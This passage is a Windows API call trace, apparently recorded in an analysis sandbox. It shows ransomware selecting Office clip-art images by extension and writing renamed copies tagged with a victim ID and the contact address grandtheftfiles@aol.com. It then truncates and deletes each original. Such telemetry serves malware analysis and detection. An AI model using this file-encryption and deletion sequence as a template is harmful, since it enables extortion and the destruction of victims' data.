	[0158.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0158.154] lstrlenW (lpString=".zip") returned 4
	[0158.154] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0158.154] lstrlenW (lpString=".rar") returned 4
	[0158.154] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0158.154] lstrlenW (lpString=".bz2") returned 4
	[0158.154] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0158.154] lstrlenW (lpString=".7z") returned 3
	[0158.154] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0158.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0158.154] lstrlenW (lpString=".dbf") returned 4
	[0158.154] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0158.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0158.154] lstrlenW (lpString=".1cd") returned 4
	[0158.154] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0158.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0158.154] lstrlenW (lpString=".jpg") returned 4
	[0158.154] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0158.154] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0158.154] lstrlenW (lpString="J0099186.JPG") returned 12
	[0158.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0158.155] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=16738) returned 1
	[0158.155] CloseHandle (hObject=0x4bc) returned 1
	[0158.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg")) returned 0x220
	[0158.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0158.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0158.155] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.155] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0158.158] GetLastError () returned 0x0
	[0158.158] ReadFile (in: hFile=0x4bc, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x4162, lpOverlapped=0x0) returned 1
	[0158.160] WriteFile (in: hFile=0x4b0, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x4170, lpOverlapped=0x0) returned 1
	[0158.161] ReadFile (in: hFile=0x4bc, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0158.162] WriteFile (in: hFile=0x4b0, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0158.162] SetEndOfFile (hFile=0x4b0) returned 1
	[0158.162] CloseHandle (hObject=0x4b0) returned 1
	[0158.162] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.162] SetEndOfFile (hFile=0x4bc) returned 1
	[0158.164] CloseHandle (hObject=0x4bc) returned 1
	[0158.165] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0158.165] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg")) returned 1
	[0158.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68
	[0158.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68
	[0158.165] lstrlenW (lpString=".doc") returned 4
	[0158.165] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0158.165] lstrlenW (lpString=".docx") returned 5
	[0158.166] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1
	[0158.166] lstrlenW (lpString=".pdf") returned 4
	[0158.166] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0158.166] lstrlenW (lpString=".xls") returned 4
	[0158.166] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0158.166] lstrlenW (lpString=".xlsx") returned 5
	[0158.166] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1
	[0158.166] lstrlenW (lpString=".ppt") returned 4
	[0158.166] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0158.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68
	[0158.166] lstrlenW (lpString=".zip") returned 4
	[0158.166] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0158.166] lstrlenW (lpString=".rar") returned 4
	[0158.166] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0158.166] lstrlenW (lpString=".bz2") returned 4
	[0158.166] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0158.166] lstrlenW (lpString=".7z") returned 3
	[0158.166] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0158.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68
	[0158.166] lstrlenW (lpString=".dbf") returned 4
	[0158.166] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0158.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68
	[0158.166] lstrlenW (lpString=".1cd") returned 4
	[0158.166] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0158.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68
	[0158.166] lstrlenW (lpString=".jpg") returned 4
	[0158.166] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0158.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68
	[0158.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68
	[0158.166] lstrlenW (lpString=".doc") returned 4
	[0158.166] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0158.166] lstrlenW (lpString=".docx") returned 5
	[0158.166] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1
	[0158.166] lstrlenW (lpString=".pdf") returned 4
	[0158.166] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0158.166] lstrlenW (lpString=".xls") returned 4
	[0158.167] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0158.167] lstrlenW (lpString=".xlsx") returned 5
	[0158.167] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1
	[0158.167] lstrlenW (lpString=".ppt") returned 4
	[0158.167] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0158.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68
	[0158.167] lstrlenW (lpString=".zip") returned 4
	[0158.167] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0158.167] lstrlenW (lpString=".rar") returned 4
	[0158.167] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0158.167] lstrlenW (lpString=".bz2") returned 4
	[0158.167] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0158.167] lstrlenW (lpString=".7z") returned 3
	[0158.167] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0158.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68
	[0158.167] lstrlenW (lpString=".dbf") returned 4
	[0158.167] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0158.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68
	[0158.167] lstrlenW (lpString=".1cd") returned 4
	[0158.167] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0158.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68
	[0158.167] lstrlenW (lpString=".jpg") returned 4
	[0158.167] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0158.167] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0158.167] lstrlenW (lpString="J0099187.JPG") returned 12
	[0158.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0158.168] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=24528) returned 1
	[0158.168] CloseHandle (hObject=0x4bc) returned 1
	[0158.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg")) returned 0x220
	[0158.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0158.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0158.169] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.169] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0158.170] GetLastError () returned 0x0
	[0158.170] ReadFile (in: hFile=0x4bc, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x5fd0, lpOverlapped=0x0) returned 1
	[0158.172] WriteFile (in: hFile=0x4b0, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x5fe0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x5fe0, lpOverlapped=0x0) returned 1
	[0158.173] ReadFile (in: hFile=0x4bc, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0158.173] WriteFile (in: hFile=0x4b0, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0158.173] SetEndOfFile (hFile=0x4b0) returned 1
	[0158.174] CloseHandle (hObject=0x4b0) returned 1
	[0158.174] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.174] SetEndOfFile (hFile=0x4bc) returned 1
	[0158.180] CloseHandle (hObject=0x4bc) returned 1
	[0158.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0158.181] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg")) returned 1
	[0158.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0158.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0158.181] lstrlenW (lpString=".doc") returned 4
	[0158.181] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0158.181] lstrlenW (lpString=".docx") returned 5
	[0158.181] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0158.181] lstrlenW (lpString=".pdf") returned 4
	[0158.181] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0158.181] lstrlenW (lpString=".xls") returned 4
	[0158.181] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0158.181] lstrlenW (lpString=".xlsx") returned 5
	[0158.181] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0158.181] lstrlenW (lpString=".ppt") returned 4
	[0158.181] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0158.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0158.181] lstrlenW (lpString=".zip") returned 4
	[0158.181] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0158.181] lstrlenW (lpString=".rar") returned 4
	[0158.181] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0158.182] lstrlenW (lpString=".bz2") returned 4
	[0158.182] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0158.182] lstrlenW (lpString=".7z") returned 3
	[0158.182] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0158.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0158.182] lstrlenW (lpString=".dbf") returned 4
	[0158.182] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0158.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0158.182] lstrlenW (lpString=".1cd") returned 4
	[0158.182] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0158.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0158.182] lstrlenW (lpString=".jpg") returned 4
	[0158.182] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0158.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0158.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0158.182] lstrlenW (lpString=".doc") returned 4
	[0158.182] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0158.182] lstrlenW (lpString=".docx") returned 5
	[0158.182] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0158.182] lstrlenW (lpString=".pdf") returned 4
	[0158.182] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0158.182] lstrlenW (lpString=".xls") returned 4
	[0158.182] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0158.182] lstrlenW (lpString=".xlsx") returned 5
	[0158.182] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0158.182] lstrlenW (lpString=".ppt") returned 4
	[0158.182] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0158.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0158.182] lstrlenW (lpString=".zip") returned 4
	[0158.182] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0158.182] lstrlenW (lpString=".rar") returned 4
	[0158.182] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0158.182] lstrlenW (lpString=".bz2") returned 4
	[0158.182] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0158.182] lstrlenW (lpString=".7z") returned 3
	[0158.183] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0158.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0158.183] lstrlenW (lpString=".dbf") returned 4
	[0158.183] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0158.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0158.183] lstrlenW (lpString=".1cd") returned 4
	[0158.183] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0158.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0158.183] lstrlenW (lpString=".jpg") returned 4
	[0158.183] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0158.183] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0158.183] lstrlenW (lpString="J0099188.JPG") returned 12
	[0158.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0158.183] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=9080) returned 1
	[0158.183] CloseHandle (hObject=0x4bc) returned 1
	[0158.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg")) returned 0x220
	[0158.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0158.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0158.184] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.184] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488
	[0158.185] GetLastError () returned 0x0
	[0158.185] ReadFile (in: hFile=0x4bc, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x2378, lpOverlapped=0x0) returned 1
	[0158.373] WriteFile (in: hFile=0x488, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x2380, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x2380, lpOverlapped=0x0) returned 1
	[0158.374] ReadFile (in: hFile=0x4bc, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0158.374] WriteFile (in: hFile=0x488, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0158.374] SetEndOfFile (hFile=0x488) returned 1
	[0158.374] CloseHandle (hObject=0x488) returned 1
	[0158.374] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.374] SetEndOfFile (hFile=0x4bc) returned 1
	[0158.377] CloseHandle (hObject=0x4bc) returned 1
	[0158.377] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0158.522] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg")) returned 1
	[0158.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0158.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0158.835] lstrlenW (lpString=".doc") returned 4
	[0158.835] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0158.835] lstrlenW (lpString=".docx") returned 5
	[0158.835] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0158.835] lstrlenW (lpString=".pdf") returned 4
	[0158.835] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0158.835] lstrlenW (lpString=".xls") returned 4
	[0158.836] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0158.836] lstrlenW (lpString=".xlsx") returned 5
	[0158.836] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0158.836] lstrlenW (lpString=".ppt") returned 4
	[0158.836] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0158.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0158.836] lstrlenW (lpString=".zip") returned 4
	[0158.836] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0158.836] lstrlenW (lpString=".rar") returned 4
	[0158.836] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0158.836] lstrlenW (lpString=".bz2") returned 4
	[0158.836] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0158.836] lstrlenW (lpString=".7z") returned 3
	[0158.836] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0158.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0158.836] lstrlenW (lpString=".dbf") returned 4
	[0158.836] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0158.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0158.836] lstrlenW (lpString=".1cd") returned 4
	[0158.836] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0158.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0158.836] lstrlenW (lpString=".jpg") returned 4
	[0158.836] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0158.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0158.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0158.836] lstrlenW (lpString=".doc") returned 4
	[0158.836] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0158.836] lstrlenW (lpString=".docx") returned 5
	[0158.836] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0158.836] lstrlenW (lpString=".pdf") returned 4
	[0158.836] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0158.836] lstrlenW (lpString=".xls") returned 4
	[0158.836] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0158.836] lstrlenW (lpString=".xlsx") returned 5
	[0158.836] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0158.836] lstrlenW (lpString=".ppt") returned 4
